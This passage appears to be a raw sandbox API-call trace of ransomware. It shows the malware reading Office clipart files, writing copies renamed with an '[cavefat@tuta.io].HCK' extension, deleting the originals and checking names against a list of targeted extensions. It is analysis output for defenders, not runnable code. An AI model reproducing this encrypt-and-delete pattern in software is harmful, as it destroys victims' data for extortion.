office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.949] GetLastError () returned 0x0 [0168.949] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3a28, lpOverlapped=0x0) returned 1 [0168.953] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3a30, lpOverlapped=0x0) returned 1 [0168.954] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.954] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.954] SetEndOfFile (hFile=0x330) returned 1 [0168.959] CloseHandle (hObject=0x330) returned 1 [0168.960] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.960] SetEndOfFile (hFile=0x388) returned 1 [0168.964] CloseHandle (hObject=0x388) returned 1 [0168.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0168.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".doc") returned 4 [0168.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".docx") returned 5 [0168.967] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.967] lstrlenW (lpString=".pdf") returned 4 [0168.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".xls") returned 4 [0168.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.967] lstrlenW (lpString=".xlsx") returned 5 [0168.967] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.967] lstrlenW (lpString=".ppt") returned 4 [0168.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".zip") returned 4 [0168.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.967] lstrlenW (lpString=".rar") returned 4 [0168.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".bz2") returned 4 [0168.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".7z") returned 3 [0168.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".dbf") returned 4 [0168.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".1cd") returned 4 [0168.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".jpg") returned 4 [0168.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".doc") returned 4 [0168.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".docx") returned 5 [0168.967] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.967] lstrlenW (lpString=".pdf") returned 4 [0168.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".xls") returned 4 [0168.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.967] lstrlenW (lpString=".xlsx") returned 5 [0168.967] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.967] lstrlenW (lpString=".ppt") returned 4 [0168.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.967] lstrlenW (lpString=".zip") returned 4 [0168.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.967] lstrlenW (lpString=".rar") returned 4 [0168.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.967] lstrlenW (lpString=".bz2") returned 4 [0168.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.968] lstrlenW (lpString=".7z") returned 3 [0168.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.968] lstrlenW (lpString=".dbf") returned 4 [0168.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.968] lstrlenW (lpString=".1cd") returned 4 [0168.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0168.968] lstrlenW (lpString=".jpg") returned 4 [0168.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.968] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.968] lstrlenW (lpString="J0152892.WMF") returned 12 [0168.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0168.983] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=10668) returned 1 [0168.984] CloseHandle (hObject=0x394) returned 1 [0168.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220 [0168.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.007] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.007] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.016] GetLastError () returned 0x0 [0169.016] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x29ac, lpOverlapped=0x0) returned 1 [0169.019] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0169.020] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.020] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.020] SetEndOfFile (hFile=0x39c) returned 1 [0169.024] CloseHandle (hObject=0x39c) returned 1 [0169.032] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.032] SetEndOfFile (hFile=0x330) returned 1 [0169.035] CloseHandle (hObject=0x330) returned 1 [0169.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.037] lstrlenW (lpString=".doc") returned 4 [0169.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString=".docx") returned 5 [0169.037] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.037] lstrlenW (lpString=".pdf") returned 4 [0169.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString=".xls") returned 4 [0169.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.037] lstrlenW (lpString=".xlsx") returned 5 [0169.038] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.038] lstrlenW (lpString=".ppt") returned 4 [0169.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".zip") returned 4 [0169.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.038] lstrlenW (lpString=".rar") returned 4 [0169.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".bz2") returned 4 [0169.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".7z") returned 3 [0169.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".dbf") returned 4 [0169.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".1cd") returned 4 [0169.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".jpg") returned 4 [0169.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".doc") returned 4 [0169.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".docx") returned 5 [0169.038] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.038] lstrlenW (lpString=".pdf") returned 4 [0169.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".xls") returned 4 [0169.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.038] lstrlenW (lpString=".xlsx") returned 5 [0169.038] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.038] lstrlenW (lpString=".ppt") returned 4 [0169.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".zip") returned 4 [0169.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.038] lstrlenW (lpString=".rar") returned 4 [0169.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".bz2") returned 4 [0169.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".7z") returned 3 [0169.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".dbf") returned 4 [0169.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.038] lstrlenW (lpString=".1cd") returned 4 [0169.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0169.039] lstrlenW (lpString=".jpg") returned 4 [0169.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.039] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.039] lstrlenW (lpString="J0153087.WMF") returned 12 [0169.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.044] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1912) returned 1 [0169.044] CloseHandle (hObject=0x394) returned 1 [0169.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220 [0169.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.057] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.057] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.062] GetLastError () returned 0x0 [0169.062] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x778, lpOverlapped=0x0) returned 1 [0169.063] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x780, lpOverlapped=0x0) returned 1 [0169.063] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.063] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.063] SetEndOfFile (hFile=0x354) returned 1 [0169.065] CloseHandle (hObject=0x354) returned 1 [0169.066] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.066] SetEndOfFile (hFile=0x394) returned 1 [0169.069] CloseHandle (hObject=0x394) returned 1 [0169.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0169.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.075] lstrlenW (lpString=".doc") returned 4 [0169.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.075] lstrlenW (lpString=".docx") returned 5 [0169.075] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.075] lstrlenW (lpString=".pdf") returned 4 [0169.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.075] lstrlenW (lpString=".xls") returned 4 [0169.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.075] lstrlenW (lpString=".xlsx") returned 5 [0169.075] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.075] lstrlenW (lpString=".ppt") returned 4 [0169.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.075] lstrlenW (lpString=".zip") returned 4 [0169.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.075] lstrlenW (lpString=".rar") returned 4 [0169.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".bz2") returned 4 [0169.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".7z") returned 3 [0169.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".dbf") returned 4 [0169.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".1cd") returned 4 [0169.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".jpg") returned 4 [0169.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".doc") returned 4 [0169.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".docx") returned 5 [0169.076] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.076] lstrlenW (lpString=".pdf") returned 4 [0169.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".xls") returned 4 [0169.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.076] lstrlenW (lpString=".xlsx") returned 5 [0169.076] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.076] lstrlenW (lpString=".ppt") returned 4 [0169.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".zip") returned 4 [0169.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.076] lstrlenW (lpString=".rar") returned 4 [0169.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".bz2") returned 4 [0169.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString=".7z") returned 3 [0169.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".dbf") returned 4 [0169.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".1cd") returned 4 [0169.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0169.076] lstrlenW (lpString=".jpg") returned 4 [0169.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.077] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.077] lstrlenW (lpString="J0153095.WMF") returned 12 [0169.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.083] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3704) returned 1 [0169.083] CloseHandle (hObject=0x368) returned 1 [0169.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220 [0169.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.092] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.092] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.102] GetLastError () returned 0x0 [0169.102] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe78, lpOverlapped=0x0) returned 1 [0169.103] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x310fc94, 